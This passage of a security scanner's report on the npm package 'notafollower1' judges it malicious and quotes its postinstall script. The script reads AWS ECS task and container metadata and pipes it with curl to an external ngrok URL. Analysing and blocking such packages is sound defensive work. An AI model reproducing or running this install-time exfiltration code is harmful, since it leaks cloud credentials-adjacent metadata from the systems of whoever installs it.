It extracts container names, images, inferred owners, and the task ARN, prints them, then pipes that output to an external ngrok URL via curl. - **Rationale:** The sole package behavior is an install-time cloud-metadata collection and external transmission chain, with no package functionality to justify it. - **Files touched:** package.json - **Network endpoints:** https://mourner-slot-explicit.ngrok-free.dev ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** postinstall executes inline Node code during installation., It reads ECS task/container metadata and pipes the resulting output to an external ngrok endpoint. - **Evidence against:** Package contains only package.json; no legitimate runtime implementation or stated need for ECS metadata collection. ## Public findings ### 1. High: Install Time Lifecycle Scripts - **Category:** Manifest - **Confidence:** 90.0% - **Path:** package.json - **Public source:** [View source]() Package defines install-time lifecycle scripts. Public source snippet (untrusted): ```json scripts.postinstall = node -e "fetch(process.env.ECS_CONTAINER_METADATA_URI_V4+'/task').then(r=>r.json()).then(data=>{data.Containers.forEach(c=>{let owner='unknown'; let img=c.Image; if(img.includes('t... ``` ### 2. Critical: Red Install Lifecycle Script - **Category:** Manifest - **Confidence:** 95.0% - **Path:** package.json - **Public source:** [View source]() Install-time lifecycle script matches a deterministic static-gate block pattern. Public source snippet (untrusted): ```json scripts.postinstall = node -e "fetch(process.env.ECS_CONTAINER_METADATA_URI_V4+'/task').then(r=>r.json()).then(data=>{data.Containers.forEach(c=>{let owner='unknown'; let img=c.Image; if(img.includes('t... ``` ### 3. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 4. Low: No License - **Category:** Manifest - **Confidence:** 80.0% Package manifest does not declare a clear license. ### 5. High: Suspicious Lifecycle Evidence - **Category:** Manifest - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() postinstall executes inline Node code during installation. Public source snippet (untrusted): ```json "postinstall": "node -e \"fetch(process.env.ECS_CONTAINER_METADATA_URI_V4+'/task') ``` ### 6. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() It reads ECS task/container metadata and pipes the resulting output to an external ngrok endpoint. Public source snippet (untrusted): ```json console.log('Container:',c.Name,'| Image:',img,'| Guessed owner:',owner,'| Task ARN:',data.TaskARN);})}).catch(e=>console.error(e))\" | curl -X POST 'https://mourner-slot-explicit.ngrok-free.dev' --data-binary @-" ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** Yes - **Published lifecycle scripts:** postinstall - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** notafollower1 - **Ecosystem:** npm - **Version:** 1.0.9 - **Version published:** 2026-08-13T22:09:43.925Z - **Package first seen:** 2026-08-13T21:11:54.294Z - **Package last seen:** 2026-08-14T14:55:05.134Z - **Known versions:** 14 - **Latest version:** 1.0.13 - **Appeal under review:** No - **Artifact files:** 1 - **Artifact unpacked size:** 718 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]() - [OSV advisory]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]()
